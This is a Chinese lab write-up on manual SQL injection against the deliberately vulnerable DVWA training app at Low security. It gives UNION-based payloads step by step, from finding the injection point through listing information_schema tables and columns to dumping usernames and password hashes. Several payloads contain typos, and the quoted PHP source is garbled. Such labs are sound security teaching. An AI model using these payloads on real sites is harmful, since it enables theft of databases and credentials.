DVWA-----SQL注入
提示:以下是本篇文章正文内容,下面案例可供参考
一、实验目的
(1)理解SQL注入的原理;
(2)学习手工注入的过程;
(3)掌握SQL注入工具的使用;
(4)掌握SQL注入的防御技术。
二、实验要求
1、登陆DVWA平台,结合所学SQL注入漏洞的基本知识,爆出MYSQL版本号、安装路径等信息;最终
爆出当前使用的数据库名称、数据表名称、字段名称、以及关键的字段值(比如用户名、密码等)。
2、DVWA安全级别设置为“Low”或者“Medium”,均可。
判断是否存在SQL注入点
DVWA安全级别为’Low‘。
三、实验过程描述
判断是否存在sql注入点
输入id值等于1,发现回显正常输入1 and 1=1,回显正常
输入1 and 1=2,发现回显仍然是正常的。
说明不存在数字型漏洞
输入1’,发现回显错误信息,说明该处存在sql注入
观察url处
这里为什么没有显示单引号?因为被url编码了
一般的url编码其实就是那个字符的ASCII值得十六进制,在再前面加个%
一般sql注入中常见的url编码:
空格是%20
单引号是%27
井号是%23
双引号是%22
看到报错我们能看到,这里是由两个单引号括起来的参数。
我们来输入1’#,把单引号后面的注释掉,发现没有回显错误
查看源代码
q
u
e
r
y
=
"
S
E
L
E
C
T
f
i
r
s
t
n
a
m
e
,
l
a
s
t
n
a
m
e
F
R
O
M
u
s
e
r
s
W
H
E
R
E
u
s
e
r
i
d
=
′
query = "SELECT first_name, last_name FROM users WHERE user_id = '
query="SELECTfirstname,lastnameFROMusersWHEREuserid=′id’;"
$id = $_REQUEST[ ‘id’ ];
在上述代码中,我们可以看到参数没有进行任何的过滤,我们尝试来闭合单引号
比如我们输入:1’ or ‘1’ =’1
语句就变成了:
$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘1’ or ‘1’ =‘1’;”
下面来利用漏洞获取数据库信息
大概步骤是:
1、猜解所查询的字段数目
2、获取字段显示位
3、通过显示位获取数据库信息
4、获取数据库中的表名
5、获取表中的列名(字段)
6、导出数据库中的数据
7、验证导出数据的有效性
猜解所查询的字段数:
方式1:order by num
如果num数值超过了字段数,则查询会报错,从而判断出来select语句所查询字段的数目:
1’ order by 2 #
1‘ order by 3 #
说明该数据表只有两个字段
方式二:
union select 1,2,3…n
如果union select 后的数字位(不一定是1,2,3,只要有数字占位就可以),与实际查询的字段位不完全对应时,查询就会报错,直至调整不报错时的占位个数,从而判断实际查询的字段数
输入:select 1,2#
在输入:select 1,2,3 #
证明该数据库的字段只有两个
获取字段的回显位
1’ union select 1,2#
通过显示位获取数据库信息
获取当前连接的数据库的版本和名称
1’ union select version(),database() #
获取当前连接数据库的用户:
1‘ union select 1,user() #
获取服务器的操作系统和存储目录:
1’ union select @@version_compile_os,@@datadir #
获取数据库中所有的数据库名
在后边 必备知识点中我已解释,这里不在过多阐释。
mysql的数据库information_schema,它是系统数据库,安装完就是有的,它记录当前数据库的数据库,表,列,用户权限等相关信息。
information_schema. schema:记录所有库名信息的表
information_schema.tables:记录所有表名信息的表
information_schema.columns: 记录所有列名信息的表
1’ union select1,schema_name from information_schema.schemata #
在这里权限不够,所以没查出来
去数据库中进行查询
这个数据库dvwa正是我们需要的,因此通过此数据库去爆数据表
where后面是限制条件,只查数据库dvwa中的表。
1’ union select 1,table_name from information_schema.tables where table_schema=“dvwa” #
获取表中的列名(字段)
1’ union select 1, column_name from infomation_schema.columns where table_name=“users” #
这样看着很乱,这时候就要用group_concat()将这些字段名简单的输出:
1‘ union select 1, group_concat(column_name) from infomation_schema.columns where table_name=“users” #
关于group_concat(),还有concat()可以自行百度学习
知道了数据库的表名和字段名,就可以爆表了
1’ union select 1,concat(user,’----’,password), from usrs #
也可以使用另一种方法:
1‘ union select user,password from users #
总结
给大家留一个小问题:
什么是联合查询?在SQL注入时,如何有效地使用联合查询?
为方便实验,在这里写出知识点:
必要知识点:
在mysql5.0以上版本中,mysql存在一个自带的数据库名为information_schema
,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过它获取指定数据库下面的表名或列名信息。
数据库中符号:.代表下一级,如xiaodi.user表示xiaodi数据库下的user表名
information_schema. schema:记录所有库名信息的表
information_schema.tables:记录所有表名信息的表
information_schema.columns: 记录所有列名信息的表
table_schema:数据库名
table_name:表名
columns_name:列名
信息收集 :
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
数据库的存储目录:@@datadir